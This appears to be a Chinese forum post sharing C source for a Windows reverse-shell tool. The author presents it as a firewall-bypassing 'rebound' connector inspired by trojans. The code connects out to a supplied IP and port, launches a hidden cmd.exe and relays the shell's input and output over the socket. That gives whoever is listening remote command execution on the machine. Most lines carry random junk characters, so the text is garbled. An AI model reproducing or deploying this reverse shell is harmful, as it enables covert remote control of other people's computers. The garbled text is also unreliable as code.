这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IJQ"
*;
v\}s(X(J
/* ============================== ENhKuX
Rebound port in Windows NT ; VH:dg
By wind,2006/7 5BAGIO<w
===============================*/ 7mT
iO?/y<
#include M7PGs-l
#include 0n)99Osq(u
(M;jnQ0
#pragma comment(lib,"wsock32.lib") dc=}c/6x
{"vTaY@
void OutputShell(); /BQB7vL
SOCKET sClient;
<
pWk
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +LhV4@zC
uN*Ynf(:-
void main(int argc,char **argv) Gv\:Agi
{ r-8fvBZ5
WSADATA stWsaData; CwdeW.A"j
int nRet; E(p#Je|@[
SOCKADDR_IN stSaiClient,stSaiServer; sg9
|6o!]~&e$1
if(argc != 3) ESyb34T`
{ #gc v])to
printf("Useage:\n\rRebound DestIP DestPort\n"); ! lxq,Whr{
return; ]rS:#LK
} S3N+9*iK
~kp,;!^vr
WSAStartup(MAKEWORD(2,2),&stWsaData); 9NC?J@&B
:x[SV^fw[
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5MHcgzyp
SSn{,H8/j
stSaiClient.sin_family = AF_INET; 4'#?"I
stSaiClient.sin_port = htons(0); t->I# t7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q(\kCUy!
_@@.VmZL
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Csf!I@}Z
{ C0gO^A.d
printf("Bind Socket Failed!\n"); A/sM
?!p>_
return; r?2J
} xU;/LJ6
a98J_^ n
stSaiServer.sin_family = AF_INET; oxNQNJ!X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RMs+pN<5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +5"Pm]oRbx
:6jh*,OHZl
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U28frRa
{ a\B'Qe+
printf("Connect Error!"); 2?nEHIUT
return; 2#Du5d
} Cs'<;|r(
OutputShell(); iI Dun Ih
} $ww0$
(>C$8)v
void OutputShell() .~,=?aq^
{ UIC~%?oIA
char szBuff[1024]; *h
M5pw
SECURITY_ATTRIBUTES stSecurityAttributes; Eg(.L,dj
OSVERSIONINFO stOsversionInfo; M
\UB
r4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2= zw!
STARTUPINFO stStartupInfo; I9L7,~s
char *szShell; 8EY]<#PN
PROCESS_INFORMATION stProcessInformation; gMs B1|
unsigned long lBytesRead; oVQbc\P3
.`jYrW-k
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5;X r0f
'fPDODE
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IL{tm0$r
stSecurityAttributes.lpSecurityDescriptor = 0; 6z2%/P-'
stSecurityAttributes.bInheritHandle = TRUE; v}TFM
K(#O@Wmjq
Gq-~zmg
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #ri;{d^6
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r3dGXiu
INY?@in
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yof8L WXx
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YySo%\d
stStartupInfo.wShowWindow = SW_HIDE; '"T9y=9]s
stStartupInfo.hStdInput = hReadPipe; v8K`cijSS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]]P@*4!
?2,{+d |
GetVersionEx(&stOsversionInfo); |t~*!0>3
7Q9| P?&:z
switch(stOsversionInfo.dwPlatformId) W5>emx'>
{ 6+4SMf3
case 1: #^{%jlmHxJ
szShell = "command.com"; #,h0K
break; FuC\qF
default: kK:U+`+
szShell = "cmd.exe"; q6}KOO)
break; SqZ .}s
} Dt\rrN:v
QCO,f
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q/0oe())
.DM-&P
send(sClient,szMsg,77,0); qRHT~ta-?
while(1) ueEf>0
{ R6TT1Ka3c
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [5]n,toAh
if(lBytesRead) 5_1\{lP
{ )iid9K<HB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +J#8wh
send(sClient,szBuff,lBytesRead,0); GT\yjrCd
} 0rvBjlFT
else HPg%v|
{ F\^\,hy
lBytesRead=recv(sClient,szBuff,1024,0); Q\>mg*79
if(lBytesRead<=0) break; ;*0nPhBw0>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R{ udV
}
: 76zRF
} b1;h6AeL
_l+C0lQl=
return; m6#a{
}